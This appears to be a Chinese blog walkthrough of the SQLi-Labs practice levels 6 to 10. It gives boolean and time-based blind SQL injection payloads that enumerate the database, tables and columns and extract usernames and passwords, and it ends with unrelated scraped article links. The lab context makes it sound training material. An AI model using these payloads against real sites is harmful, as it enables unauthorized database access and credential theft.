《SQLi-Labs》02. Less 6~10
@
sqli。开启新坑。
索引
- Less-6:布尔盲注,字符型【"】。
- Less-7:布尔盲注,字符型【'))】。
- Less-8:布尔盲注,字符型【'】。
- Less-9:时间盲注,字符型【'】。
- Less-10:时间盲注,字符型【"】。
Less-6
与 Less-5 基本相同。这里只简略写大致步骤。
题解
根据页面报错信息可以猜测 id 参数是双引号。
只需将 Less-5 的单引号换成双引号即可。
判断当前数据库长度:
url + ?id=1" and length((select database()))>=8 --+
字符串截取并通过 ASCII 码比较来得出数据库名:
url + ?id=1" and ascii(substr((select database()), 1, 1))=115 --+
爆表
判断所有表名字符长度:
url + ?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+
ASCII 码比较得到表名:
url + ?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+
爆字段
判断字符长:
url + ?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+
判断字段名:
url + ?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+
得到 username 和 password 字段
获取敏感数据:
判断内容长度。
url + ?id=1" and length((select group_concat(username,password) from users))>=188 --+
然后依次判断每一个字符即可。最终结果与前 4 个题相同。
url + ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+
原理
布尔盲注。
- length() 函数:返回字符串所占的字节数。
- ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
- substr() 函数:字符串截取函数。
Less-7
与 Less-5、Less-6 相同,也是布尔盲注。
题解
这题较上题有一点区别。


这一题只会显示报错,但没有报错信息。那就逐个判断一下。
传递 id=1' 时,显示错误;当传递 id=1" 时,显示正常,所以可以断定参数 id 为单引号字符串,因为单引号破坏了他原有语法结构。
然后传递 id=1' --+ 时报错,传递 id=1') --+ 发现依然报错。
那就试试双括号 id=1'))--+ ,发现页面显示正常。
于是用布尔盲注即可。Less-5 中已详细说明,Less-6 中给出了各个步骤,这里就不多说了。
Less-8
题解
Less-8 与 Less-5 一样。只不过 Less-5 没有报错信息,但有对错回显。
id参数是一个单引号字符串。使用布尔盲注,和 Less-5 无异。
Less-9
题解
通过 if (a, sleep(3), 1) ,如果 a 结果是真的,那么执行 sleep(3) ,页面延迟 3 秒;如果 a 的结果是假,执行1,页面不延迟。
思路与 Less-5 相同。这里只简单叙述。
判断参数构造。通过页面时间来判断出id参数是单引号字符串。
url + ?id=1' and if(1=1, sleep(3), 1) --+
判断当前数据库名长度。
url + ?id=1' and if(length((select database()))>8, sleep(3), 1) --+
逐一判断数据库字符。
url + ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(3), 1) --+
爆表。
判断所有表名长度。
url + ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+
逐一判断表名。
url + ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99, sleep(3), 1) --+
爆字段。
判断所有字段名的长度。
url + ?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20, sleep(3), 1) --+
逐一判断字段名。得到 username 和 password 字段。
url + ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+
获取敏感数据:
判断内容长度。
url + ?id=1' and if(length((select group_concat(username,password) from users))>109, sleep(3), 1) --+
逐一检测内容即可。
url + ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+
原理
时间盲注。涉及到以下 MySQL 函数:
if (expr1, expr2, expr3)
如果 expr1 是TRUE,则返回值为 expr2;否则返回值为 expr3。sleep(N)
让此语句运行N秒钟。
当无论输入什么,页面返回的结果都一样时,就无法使用布尔盲注。这时需要使用时间盲注。
时间盲注和布尔盲注的判断理解起来其实差不多。理解 Less-5 的布尔盲注后,这题也就好理解了。
只不过是布尔盲注通过页面回显判断真伪,时间盲注通过页面相应速度判断真伪。
Less-10
题解
id参数是双引号字符串。
和 Less-9 一样,只需要将单引号换成双引号即可。
十有九人堪白眼,百无一用是书生。
——《杂感》(清)黄景仁
《SQLi-Labs》02. Less 6~10的更多相关文章
- Win10《芒果TV》更新v3.4.10春光版:优化弹窗体验,修复热键和推送
春来触地故乡情,忽见风光忆两京,金谷踏花香骑入,曲江碾草钿车行,Win10版<芒果TV>更新v3.4.10,进一步优化弹窗体验,修复热键和推送异常. Win10版<芒果TV>V ...
- 《Effective C++ 》学习笔记——规定10
***************************************转载请注明出处:http://blog.csdn.net/lttree************************** ...
- 20145219 《Java程序设计》第02周学习总结
20145219 <Java程序设计>第02周学习总结 教材学习内容总结 类型:基本类型.类类型(参考类型) 基本类型: 整数:short占2字节,int占4字节,long占8字节 字节: ...
- 20145212 《Java程序设计》第10周学习总结
20145212 <Java程序设计>第10周学习总结 学习内容总结 一.Java的网络编程 网络编程是指编写运行在多个设备(计算机)的程序,这些设备都通过网络连接起来. java.net ...
- 20145206《Java程序设计》第10周学习总结
20145206 <Java程序设计>第10周学习总结 博客学习内容总结 什么是网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据.程序员所作的事情就是把数据发送到指定 ...
- 20145334 《Java程序设计》第10周学习总结
20145334 <Java程序设计>第10周学习总结 教材学习内容总结 一.网络编程 •网络编程对于很多的初学者来说,都是很向往的一种编程技能,但是很多的初学者却因为很长一段时间无法进入 ...
- 20145337 《Java程序设计》第10周学习总结
20145337 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输. 路由器和交换机组成了核心的计算机网络 ...
- 20145320 《Java程序设计》第10周学习总结
20145320 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 计算机网络概述 网络编程的实质就是两个(或多个)设备(例如计算机)之间的数据传输. 按照计算机网络的定义 ...
- 20145225《Java程序设计》 第10周学习总结
20145225<Java程序设计> 第10周学习总结 教材学习内容总结 一.网络编程 网络编程就是在两个或两个以上的设备(例如计算机)之间传输数据: 程序员所作的事情就是把数据发送到指定 ...
- 《HelloGitHub月刊》第02期
<HelloGithub>第02期 兴趣是最好的老师,而<HelloGitHub> 就是帮你找到兴趣! 因为我比较熟悉python语言,所以月刊中python语言的项目居多,个 ...
随机推荐
- action装饰器
视图集中附加action的声明 from rest_framework.decorators import action # 追加action:返回书记的倒叙地0个书籍的信息 @action(meth ...
- SQL Server修改列的数据类型
ALTER TABLE LJPA001H DROP CONSTRAINT DF_LJPA001H_pa_sex_1 ALTER TABLE LJPA001H ALTER COLUMN pa_sex V ...
- WPF中关于转换器
实例:关于播放器按钮状态的改变 说明:对Kind(种类)的绑定首先在viewmodel中声明一个属性IsPlay,然后在转换器中实现按钮的状态 转换器 在解决方案中的项目里新建一个Converters ...
- WPF中控件转命令
WPF不是所有控件都有Command属性,如果窗体需要在ViewModel 使用System.Windows.Interactivity事件 在nuget浏览搜索 下载System.Windows.I ...
- C#与WPF中相关字符串操作
字符串指定字符查找 例如:输入一个邮箱地址,如果正确则显示success否则显示error(正确的邮箱地址包含@,以.com结尾) //接受输入进来的字符串 string s=this.txtEmsi ...
- 10. docker方式下的mysql设置主从复制(一主两从)
上一篇 [centos 使用 docker 方式安装 mysql] 笔记中,我们在三个虚拟机中使用 docker 方式新建了三个 mysql 容器服务,那么我们这篇文章来记录下,如何在这三台机器中设置 ...
- 设计 C++ 接口文件的小技巧之 PIMPL
设计 C++ 接口文件的小技巧之 PIMPL C++ 里面有一些惯用法(idioms),如 RAII,PIMPL,copy-swap.CRTP.SFINAE 等.今天要说的是 PIMPL,即 Poin ...
- 【智能安防】基于AI的智能家居安全系统设计与实现
目录 智能家居安全系统设计与实现:AI技术的应用 摘要 随着智能家居市场的快速发展,安全问题也日益突出.本文将介绍基于AI的智能家居安全系统设计与实现技术,重点阐述相关概念.实现步骤和优化改进.通过实 ...
- 利用生成式预训练Transformer实现文本分类和命名实体识别
目录 1. 引言 2. 技术原理及概念 2.1 基本概念解释 2.2 技术原理介绍 3. 实现步骤与流程 3.1 准备工作:环境配置与依赖安装 3.2 核心模块实现 3.3 集成与测试 4. 应用示例 ...
- List 接口及其常用方法
List 接口基本介绍 List接口是Collection接口的子接口,其主要特点如下: List中元素有序,是按照元素的插入顺序进行排序的.每个元素都有一个与之关联的整数型索引(索引从 0 开始), ...